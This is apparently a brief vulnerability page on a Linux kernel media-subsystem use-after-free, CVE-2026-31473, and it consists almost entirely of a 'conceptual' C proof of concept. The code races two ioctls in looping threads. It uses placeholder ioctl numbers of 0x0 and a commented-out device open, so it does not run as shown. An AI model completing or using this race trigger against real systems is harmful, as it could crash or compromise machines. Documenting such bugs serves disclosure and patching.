CVE-2026-31473 Linux内核媒体子系统UAF漏洞

#include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <pthread.h> // Conceptual Proof of Concept for CVE-2026-31473 // This code demonstrates the race condition between // MEDIA_REQUEST_IOC_REINIT and VIDIOC_REQBUFS(0). #define MEDIA_REQUEST_IOC_REINIT 0x0 #define VIDIOC_REQBUFS 0x0 int fd; void *thread_reinit(void *arg) { while (1) { // Continuously trigger REINIT ioctl // This races with the queue teardown in the other thread ioctl(fd, MEDIA_REQUEST_IOC_REINIT, 0); } return NULL; } void *thread_reqbufs(void *arg) { struct v4l2_requestbuffers reqbufs = {0}; reqbufs.count = 0; // Teardown the queue reqbufs.type = V4L2_BUF_TYPE_VIDEO_OUTPUT; while (1) { // Continuously trigger REQBUFS(0) ioctl // This releases memory that REINIT might try to access ioctl(fd, VIDIOC_REQBUFS, &reqbufs); } return NULL; } int main() { // Setup: Open a vulnerable media device // fd = open("/dev/video0", O_RDWR); // Implementation requires a specific device supporting requests pthread_t t1, t2; pthread_create(&t1, NULL, thread_reinit, NULL); pthread_create(&t2, NULL, thread_reqbufs, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); return 0; }